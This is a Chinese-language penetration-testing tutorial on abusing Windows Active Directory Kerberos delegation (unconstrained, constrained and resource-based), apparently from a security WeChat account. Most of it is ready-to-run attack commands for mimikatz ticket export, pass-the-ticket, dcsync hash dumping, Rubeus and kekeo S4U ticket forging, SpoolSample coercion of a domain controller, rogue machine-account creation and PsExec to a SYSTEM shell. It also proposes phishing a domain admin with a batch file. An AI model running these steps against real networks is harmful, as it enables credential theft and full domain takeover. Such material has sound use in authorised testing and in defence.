0x01 委派的概念和分类
基本概念:自Windows2000 开始,微软添加了委派功能。域委派是一种应用模式,指的是将域内用户的权限委派给服务账户,使得服务账户能以用户权限访问域内的其他服务。
大致流程,可参考下图:
关于委派,需要注意以下两点:
能否委派,取决于用户所请求的服务系统有没有被设置成委派
在域内,只有机器账户和注册了SPN的域用户才具有委派的属性
分类:
非约束委派
约束委派
基于资源的约束性委派
0x02 非约束委派
基本概念:服务账号可以请求得到域内用户的TGT,服务账号使用该TGT模拟域内用户访问任意服务,被配置为非约束委派的系统将把TGT存储到LSASS内存中,以便使用用户能够访问终端资源。
触发条件:一定是域管去访问配置委派的服务
非约束委派设置以及查询
这里用机器账户来演示:(域控是默认设置了非约束性委派的)
利用ADfind进行查询: (如果是工作组机器需要提供用域名和密码,如果是用域用户就不需要提供)
AdFind.exe -b "DC=abc,DC=com" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" -d
利用powershell脚本查询
#Powershell下
Import-Module .\PowerView.ps1
#查询域中配置了非约束性委派的主机
Get-NetComputer -Unconstrained -Domain abc.com
#查询域中配置了非约束性委派的服务账户
Get-NetUser -Unconstrained -Domain abc.com | select name
#CS下
powershell-import .\PowerView.ps1
#查询域中配置了非约束性委派的主机
powershellGet-NetComputer -Unconstrained -Domain abc.com
#查询域中配置了非约束性委派的服务账户
powershell Get-NetUser -Unconstrained -Domain abc.com | select name
利用钓鱼进行委派攻击
原理:基于Windows的特性--当不提供账号密码时,会以当前账号密码进行认证
通过钓鱼(将命令写为bat文件、发邮件等),来诱导域管访问被控主机:
net use \\ww-pc.abc.com\c$ 一定要走Kerberos认证协议
mimikatz:
privilege::debug
sekurlsa: : tickets / export
发现存在administrator票据
导出的票据,通过PTT,就可以访问域内任意机器,这时就可以利用一系列横向手法来进行横向移动(如:WMI、Winrm、计划任务、服务、DCOM、psexec等)
Kerberos::PTT [0;671ae]-2-0-60a10000-Administrator@krbtgt-ABC.COM.kirbi
利用打印机漏洞进行委派攻击
一般来讲,域管是不会主动访问被控主机的,因此这里可以利用Windows打印系统远程协议(MS-RPRN)中的默认启动的方法,在该方法中,域用户可以使用MS-RPRN方法强制任何运行了Spooler服务的计算机通过Kerberos或者NTLM对攻击者选择的目标进行身份验证。
原理:设置非约束委派的主机结合Spooler打印机服务漏洞,让域控机器DC强制访问已控的具有本地管理员权限的非约束委派机器,从而拿到域控的机器用户hash,进而控制整个域。
先利用Rubeus在被控主机(ph)上监听DC的登录信息
Rubeus.exe monitor /interval:1 /filteruser:DC$
再利用SpoolSample强制域控打印机回连
SpoolSample.exe DC ph
然后Rubeus就可以监听到域控DC的TGT,这里由于自身环境的原因,这里无法进一步操作,后面的操作流程大致说一下:
得到域控TGT后,后面就可以采用金票,PTH、PTT等方式进行横向即可
0x03 约束委派
基本概念:由于非约束委派的不安全性或场景受限,微软服务于2007年为Kerberos协议进行扩展引入S4U(service for user)协议,该协议分为两个子协议:
-
S4U2self (Service for User to Self)
-
S4U2proxy (Service for User to Proxy)
这两个扩展允许服务代表用户从KDC请求票据
约束委派限制了S4U2proxy协议的请求范围,使得配置了委派属性的服务只能模拟用户身份访问特定的其他服务
S4U2self和S4U2proxy协议
为了便于大家的理解,这里通过下面的流程图来讲解:
用户A访问web系统,web系统使用自己的服务账号申请一张TGT,然后代表A去向KDC申请访问自己ST1--这里就使用到了S4U2self协议,用户A拿到ST1就可以访问web系统。
如果web系统上设置了约束委派,那么web系统就可以使用S4U2proxy协议将申请到的ST1票据,以用户A的身份向KDC申请访问文件系统的票据ST2,这样web系统就可以以用户A的身份访问文件系统
约束委派设置以及查询
同样的这里只有机器账户和域用户(注册SPN的域用户)才有委派属性
查询设置委派的机器:
利用ADfind进行查询:
AdFind.exe -b "DC=abc,DC=com" -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto
利用powershell脚本查询
Import-Module .\Powerview.ps1
#查询机器账号
Get-DomainComputer -TrustedToAuth -Domain abc.com -Properties distinguishedname,useraccountcontrol,msds-allowedtodelegateto|ft -Wrap -AutoSize
#查询服务账号
Get-DomainUser –TrustedToAuth -domain abc.com -Properties distinguishedname,useraccountcontrol,msds-allowedtodelegateto|fl
利用机器账号进行约束委派攻击
首先肯定是在被控主机上查询被设置约束委派的机器用户,然后查询机器用户的hash值:
#在机器用户上直接查询 需要先提权
privilege::debug
sekurlsa::logonPasswords
#使用dcsync方式查询
privilege::debug
lsadump::dcsync /domain:abc.com /user:ww-pc$
利用机器账户的hash值,申请TGT票据
#Rubeus工具
Rubeus.exe asktgt /user:机器用户名 /rc4:NTLM-HASH /domain:域名 /dc:域控域名 /nowrap
#kekeo工具
kekeo.exe "tgt::ask /user:机器用户名 /domain:域名 /NTLM:NTLM-HASH" "exit"
eg:
kekeo.exe "tgt::ask /user:ww-pc$ /domain:abc.com /NTLM:379e9e856567a1e40d8ef6dc7857d805" "exit"
利用申请到的TGT再去申请ST
kekeo.exe "tgs::s4u /tgt:TGT票据 /user:Administrator@域名 /service:委派的SPN" "exit"
将生成的票据注入内存:
mimikatz.exe "kerberos::ptt 票据名" "exit"
接下来就可以上传木马到域控上执行
这里使用域用户进行约束委派攻击方式与上面方式差不多,可自行尝试
补充:
这里获得域用户的hash可以使用域内密码喷洒,Roasting攻击(前提是需要设置不需要Kerberos域认证才可以),Kerberosting攻击方式都可以
基于资源的约束性委派(RBCD)
基本概念:微软在Windows Server 2012中新引入基于资源的约束性委派,基于资源的约束性委派不需要通过域管理员进行修改,而是将设置属性的权限给了服务资源本身。可以简单理解为基于资源的约束性委派就是传统约束委派的反向过程。
RBCD设置方式
实验环境:
域控:win server 2012 R2 192.168.24.10
目标主机:win server 2016 192.168.24.102 ph-pc
域内主机:win7 192.168.24.50
委派机器账户:anna$
使用AdExplorer连接域控,之后在PH-PC的安全属性中为hp用户赋予写权限,接着以普通域用户ph登录win server2016主机
接下来还需要去创建一个机器账户(账号:anna,密码:admin!@#45),使用Powermad.ps1脚本来创建
Import-Module .\Powermad.ps1
New-MachineAccount -MachineAccount anna -Password $(ConvertTo-SecureString "admin!@#45" -AsPlainText -Force)
验证是否创建成功:
net group "domain computers" /domain
接着配置anna到ph-pc的RBCD
#先获取sid值
Get-NetComputer "anna"
#设置变量值
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-1604209046-237365663-1700766889-1608)";
#转换为16进制
$SDBytes = New-Object byte[]($SD.BinaryLength);
$SD.GetBinaryForm($SDBytes,0);
#设置RBCD
Get-DomainComputer ph-pc.abc.com| Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose
#验证
Get-DomainComputer ph-pc.abc.com -Properties msds-allowedtoactonbehalfofotheridentity
#清除RBCD
Set-DomainObject ph-pc.abc.com -Clear 'msds-allowedtoactonbehalfofotheridentity' -Verbose
查询配置RBCD的机器,利用adfind
#机器用户
AdFind.exe -b "DC=abc,DC=com" -f "(&(samAccountType=805306369)(msDS-AllowedToActOnBehalfOfOtherIdentity=*))" -dn
#域用户
AdFind.exe -b "DC=abc,DC=com" -f "(&(samAccountType=805306368)(msDS-AllowedToActOnBehalfOfOtherIdentity=*))" -dn
RBCD利用
接着上面讲到的RBCD设置方式,这里使用Rubeus来进行请求白银票据
因为Rubeus是不支持明文的,所以先把它转换为hash
Rubeus.exe hash /user:anna /password:admin!@#45 /domain:abc.com
然后用anna$的hash请求白银票据并导入到当前会话中
Rubeus.exe s4u /user:anna$ /rc4:518B98AD4178A53695DC997AA02D455C /impersonateuser:administrator /msdsspn:cifs/ph-pc.abc.com /ptt
访问ph-pc
如果想直接拿到shell的话,还需要去申请一个host服务
Rubeus.exe s4u /user:anna$ /rc4:518B98AD4178A53695DC997AA02D455C /impersonateuser:administrator /msdsspn:host/ph-pc.abc.com /ptt
查看生成票据
再将该票据导入,就可以拿到ph-pc的shell
PsExec64.exe \\ph-pc -s cmd
这里就直接拿到了目标机器的shell,且权限是system权限
扫描下方二维码,关注公众号【赤鸢安全】,回复【240304】即可获得文章所涉及全部工具